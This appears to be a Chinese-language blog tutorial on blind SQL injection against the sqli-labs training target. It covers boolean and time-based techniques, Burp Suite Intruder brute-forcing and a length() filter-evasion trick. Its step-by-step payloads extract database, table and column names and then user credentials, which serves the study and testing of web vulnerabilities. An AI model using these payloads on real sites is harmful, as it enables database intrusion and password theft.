前置拓展内容:渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)http://t.csdnimg.cn/kJxBrBypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)http://t.csdnimg.cn/BicwG
在SQL注入攻击中,盲注是一种常见的攻击方法。盲注是指在不知道目标数据库确切结构的情况下,攻击者通过猜测数据库结构和表结构,尝试构造恶意的SQL语句并加以执行,以获取敏感信息。在盲注过程中,猜测数据库结构和表结构以及代码的具体执行过程是核心要务.
非对即错---布尔盲注
本节的实例为sqli-labs-master靶场的第8关
如果页面仅仅会返回True和False。那么就可以考虑布尔盲注,布尔盲注就是在进行SQL注入之后再根据页面返回的True或者是False来得到数据库中的相关信息。(也就是不断试错)布尔盲注适用于页面没有回显字段(不支持联合查询),而且web页面返回true或者false的情况,构造sql语句并利用and or 等关键词来使web页面返回true或者false,从而达到注入的目的以获取信息。
还可以根据BurpSuite中响应的字节数来判断
接下来,我们就需要借助BurpSuite的intruder(攻击器模块)----
但在这之前,我们需要做充分的准备工作---
首先构造一个轮子
and 1=if(1=1,1,0)
亦即
and 1=if(需要判断的内容,1,0)
小试牛刀---获取特定数据
获取user()的数据长度
and 1=if(length(user())=12,1,0)
sniper模式中添加payload:
据此判断出user()长度为14
爆破出user()的数据内容
and 1=if(mid(user(),1,1)='a',1,0) --+
MID()函数用于从字符串中提取指定位置的子串。它的语法如下:
MID(str,start,length)
str:要从中提取子串的原始字符串。
start:指定要开始提取的位置。位置索引从1开始计数。
length:可选参数,指定要提取的子串的长度。
使用最后一个模块--Clusterbomb
payload1的配置:
payload2的配置:
排序后的结果集(先排序payload1,再排序长度):
最终得出user()的数据内容为root@localhost
以上只是诸多方法中的一种,实战中也可以使用其他方法,比如在判断长度时,具体的数值可以用对应数量的符号代替:
and length(user())=12可以替换为
and user() like '____________'
这里使用12个'下滑线_'来绕过对length()函数的检测
让子弹飞一会儿---时间盲注
本节实例采用sqli-labs-master的第48关
在某些及其特殊的情况下,无论输入何值,web页面和BP响应中的字节数都没有任何变化,大部分同学可能到这里就放弃采用sql注入了,但是不要灰心,我们还有另外一种判断方法----时间盲注----加入特定的时间函数(例如sleep()),通过查看web页面返回的时间差来判断注入的语句是否正确。但是这种情况出现的极少,实战中很少遇到,这里仅对原理进行详解,具体实例不做赘述
如图,无论如何操作,响应的字节数都不变:
但是,我们可以通过结果的时间差来进行判断:
and if(1=1,sleep(0.1),1) --+ TRUE:响应的时间更长
and if(1=2,sleep(0.1),1) --+ FALSE:时间更短
借助时间差获取数据长度:
注意:需要根据不同的环境来更改sleep()中的参数
接下来,我们就可以使用不同的盲注方式注出数据库名,用户名/密码
靶场实战---使用布尔盲注
得到数据库的长度和名字
注出数据库的长度
/sqli-labs-master/Less-8/?id=1'+and+1=if(length(database())=1,1,0)+--+
结果是8位
爆破出数据库名
/Less-8/?id=1'+and+1=if(mid(database(),1,1)='a',1,0)+--+
这里的mid()也可以用其他函数代替,如left,right,substr
需要先对Payload1排序,再对长度排序
得到数据表的长度和名字
注出数据表的长度
/sqli-labs-master/Less-8/?id=1'+and
+length(
(select+group_concat(table_name)+from+information_schema.tables
+where+table_schema='security')
)=1+--+
注意length()中的select语句需要额外括起来!
爆破数据表名
/Less-8/?id=1'+and+mid(
(select+group_concat(table_name)+from+information_schema.tables
+where+table_schema='security')
,1,1)='a'+--+
注意Payload2需要额外添加一个逗号,因为group_concat()默认使用逗号连接
得到数据的字段名(列名)
注出字段名的长度
这里我们选用users表
+and+length(
(select+group_concat(column_name)+from+information_schema.columns
+where+table_schema='security'+and+table_name='users')
)=1+--+
爆破字段名
/Less-8/?id=1'+and+mid(
(select+group_concat(column_name)+from+information_schema.columns
+where+table_schema='security'+and+table_name='users')
,1,1)='a'+--+
得到用户名和密码
注出数据的长度
/Less-8/?id=1'+and+length(
(select+group_concat(username,'~',password)+from+security.users)
)=1--+
最终得到结果多达188位,这样的数据有些太长了,我们不妨使用concat() 和 limit :
/Less-8/?id=1'+and+length(
(select+concat(username,'~',password)+from+security.users+limit+0,1)
)=1--+
由此得出一共有12个用户名和密码的组合
注出用户名和对应的密码
这里我们依旧使用concat()和limit来注出特定的用户名和密码,这里我们选第8个(长度为13,limit的索引为7):
/Less-8/?id=1'+and+mid(
(select+concat(username,'~',password)+from+security.users+limit+7,1)
,1,1)='a'--+
那么能否一次性注出所有的用户名和密码呢?
我们来尝试一下,之前我们得知12个账户的长度最大只有19位,保险起见,我们按照20位来:
攻击类型选择ClusterBomb:
这里定义limit,从0到11,保险起见,我们选择从0到12:
这里定义mid(也就是用户名和密码的最大长度),保险起见我们选择从1到20:
发现最终结果有些凌乱,但不影响获取用户名和密码:
这里需要先对payload1排序再对payload2排序,最后对长度排序
这样虽然也能获得想要的数据,但是最后对数据的处理部分较为繁琐,建议还是使用concat()和limit相结合的方式,一次获取一个用户信息.
前置拓展内容:渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)http://t.csdnimg.cn/kpEKZ